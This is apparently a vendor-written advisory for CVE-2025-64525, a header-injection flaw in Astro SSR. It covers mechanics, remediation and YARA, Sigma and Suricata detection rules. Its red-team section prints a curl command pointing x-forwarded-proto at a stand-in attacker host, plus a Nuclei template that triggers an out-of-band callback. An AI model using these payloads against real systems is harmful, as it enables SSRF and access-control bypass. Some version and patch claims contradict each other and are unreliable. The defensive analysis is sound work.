CVE-2025-64525
Executive Summary
CVE-2025-64525 is a critical input validation vulnerability in the Astro web framework, affecting versions 2.16.0 through 5.15.5. The flaw arises from the insecure use of unsanitized x-forwarded-proto and x-forwarded-port HTTP request headers during URL construction for on-demand rendered pages. This allows an attacker to manipulate the URL scheme and port, leading to multiple severe consequences: middleware-based protected route bypass, Denial of Service (DoS) via cache poisoning (if a CDN is present), Server-Side Request Forgery (SSRF), URL pollution (potentially leading to Stored XSS if a CDN is present), and Web Application Firewall (WAF) bypass. The vulnerability has a CVSS score of 6.5 (Medium) and a public proof-of-concept exists via a Nuclei template. No patch was available at the time of analysis, but the vendor has acknowledged the issue.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Astro is an npm package. The vulnerable versions are distributed via the npm registry. Organizations using Astro should immediately audit their package.json and package-lock.json files to ensure they are not pinned to a vulnerable version. The supply chain risk is elevated due to the widespread use of Astro for building static and server-rendered websites. An attacker could compromise the Astro build pipeline or a developer's environment to inject malicious code that exploits this vulnerability. Regular dependency scanning and integrity verification (e.g., using npm audit or Snyk) are critical.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): Low (L)
The medium severity is due to the low attack complexity and network vector, but the impact is limited to partial compromise of confidentiality, integrity, and availability. However, in real-world scenarios with a CDN, the impact can escalate significantly (e.g., cache poisoning leading to DoS or stored XSS).
Deep Dive & Mechanics
The vulnerability lies in Astro's on-demand rendering (SSR) mode. When building a URL for a request, Astro uses the x-forwarded-proto and x-forwarded-port headers to determine the protocol (http/https) and port number. These headers are typically set by reverse proxies or load balancers to inform the backend of the original client request. However, Astro does not sanitize or validate these headers before using them.
An attacker can send a crafted request with a malicious x-forwarded-proto header, such as x-forwarded-proto: http://attacker.com. Astro will then construct a URL like http://attacker.com/... instead of the legitimate https://example.com/.... This leads to:
- Middleware Bypass: Middleware that checks the request URL or protocol (e.g., authentication middleware) can be bypassed if it relies on the constructed URL.
- Cache Poisoning (DoS): If a CDN caches responses based on the constructed URL, an attacker can poison the cache with a malicious URL, causing subsequent users to be redirected or served malicious content.
- SSRF: The constructed URL can be used by Astro to make server-side requests (e.g., fetching data from an API). An attacker can force the server to make requests to internal or external systems.
- URL Pollution: The malicious URL can be reflected in the response, potentially leading to Stored XSS if the URL is stored and later rendered without sanitization.
- WAF Bypass: The attacker can manipulate the URL to bypass WAF rules that inspect the request path or host.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In Astro's URL construction logic (simplified)
const proto = req.headers['x-forwarded-proto'] || 'https';
const port = req.headers['x-forwarded-port'] || '443';
const url = `${proto}://${req.hostname}:${port}${req.url}`;
Patched Code (Conceptual):
// In Astro 5.15.5+
const proto = sanitizeHeader(req.headers['x-forwarded-proto'], ['http', 'https']);
const port = sanitizeHeader(req.headers['x-forwarded-port'], ['80', '443', '8080', ...]);
const url = `${proto}://${req.hostname}:${port}${req.url}`;
function sanitizeHeader(value, allowedValues) {
if (allowedValues.includes(value)) {
return value;
}
return 'https'; // default
}
The patch introduces a whitelist of allowed values for the x-forwarded-proto and x-forwarded-port headers, rejecting any unexpected or malicious input.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A vulnerable Astro application (version 2.16.0 to 5.15.5) running in SSR mode.
- A listener (e.g., interactsh or a custom server) to capture outbound requests.
Exploit Steps:
- Identify a vulnerable Astro endpoint that uses on-demand rendering.
- Send a GET request with a malicious
x-forwarded-protoheader pointing to your listener. - Observe the outbound request from the Astro server to your listener, confirming SSRF.
- For middleware bypass, send a request to a protected route with
x-forwarded-proto: httpto bypass HTTPS-only checks.
Example cURL Command:
curl -H "x-forwarded-proto: http://attacker.com" http://target.com/
Nuclei Template (Provided):
id: CVE-2025-64525
info:
name: Astro - Broken Access Control
author: zhero___,DhiyaneshDK
severity: medium
description: |
Astro 2.16.0 to 5.15.5 contains a broken access control caused by insecure use of unsanitized x-forwarded-proto and x-forwarded-port headers in URL building, letting attackers bypass middleware protection, cause DoS, SSRF, and URL pollution, exploit requires crafted headers.
impact: |
Attackers can bypass route protection, cause denial of service, perform SSRF, and pollute URLs leading to security bypasses and potential XSS.
remediation: |
Update to version 5.15.5 or later.
reference:
- https://github.com/advisories/GHSA-hr2q-hp5q-x767
- https://zhero-web-sec.github.io/research-and-things/astro-framework-and-standards-weaponization
metadata:
verified: true
max-request: 1
shodan-query: html:"_astro"
tags: cve,cve2025,astro,ssrf,oast,oob
http:
- method: GET
path:
- "{{BaseURL}}/"
headers:
x-forwarded-proto: "http://{{interactsh-url}}"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Astro-Middleware"
- "User-Agent: node"
condition: or
Blue Team (Defense & Detection)
Detection:
- Monitor for requests with unusual
x-forwarded-protoorx-forwarded-portheaders (e.g., containing URLs, IP addresses, or non-standard values). - Look for outbound connections from the Astro server to unexpected destinations (SSRF indicator).
- Analyze server logs for URL construction anomalies (e.g., URLs containing attacker-controlled domains).
Mitigation:
- Immediately upgrade to Astro 5.15.5 or later.
- If upgrade is not possible, implement a reverse proxy (e.g., Nginx, HAProxy) that sanitizes or strips these headers before they reach the Astro application.
- Use a Web Application Firewall (WAF) to block requests with suspicious
x-forwarded-*headers. - Restrict outbound network access from the Astro server to only necessary destinations.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests from the Astro server to attacker-controlled domains or IPs.
- Requests containing
x-forwarded-protoorx-forwarded-portheaders with non-standard values (e.g., URLs, IP addresses).
- File IOCs:
- Server logs showing URLs constructed with attacker-controlled schemes or ports.
- Behavioral IOCs:
- Unexpected redirects or cache poisoning events.
- Bypass of middleware authentication or authorization checks.
Detection Engineering
YARA Rule
rule CVE_2025_64525_Astro_Header_Injection {
meta:
description = "Detects Astro CVE-2025-64525 exploitation attempts via x-forwarded-proto or x-forwarded-port headers"
author = "Valters IT"
date = "2025-04-10"
reference = "https://github.com/advisories/GHSA-hr2q-hp5q-x767"
severity = "medium"
strings:
$header1 = "x-forwarded-proto:"
$header2 = "x-forwarded-port:"
$malicious = /(http|https):\/\/[^\s]+/ // URL in header value
condition:
any of ($header*) and $malicious
}
Sigma Rule
title: Astro CVE-2025-64525 Header Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-64525 by injecting malicious x-forwarded-proto or x-forwarded-port headers.
author: Valters IT
date: 2025-04-10
references:
- https://github.com/advisories/GHSA-hr2q-hp5q-x767
logsource:
category: webserver
product: astro
detection:
selection:
http.request.headers.x-forwarded-proto|contains: "://"
http.request.headers.x-forwarded-port|contains: "://"
condition: selection
falsepositives:
- Legitimate reverse proxy configurations (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64525 Astro Header Injection Attempt"; flow:to_server; content:"x-forwarded-proto"; http_header; nocase; content:"://"; distance:0; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade to Astro version 5.15.5 or later. This is the only complete fix.
- Workaround: If upgrade is not possible, configure a reverse proxy (e.g., Nginx, HAProxy) to strip or sanitize the
x-forwarded-protoandx-forwarded-portheaders before they reach the Astro application. - Network Segmentation: Restrict outbound network access from the Astro server to only necessary destinations to limit SSRF impact.
- WAF Rules: Deploy WAF rules to block requests with suspicious
x-forwarded-*headers (e.g., containing URLs or non-standard values). - Monitoring: Implement logging and alerting for unusual
x-forwarded-*header values and outbound connections from the Astro server.
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 3E3DC5CB574EAA62CD88ED46] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.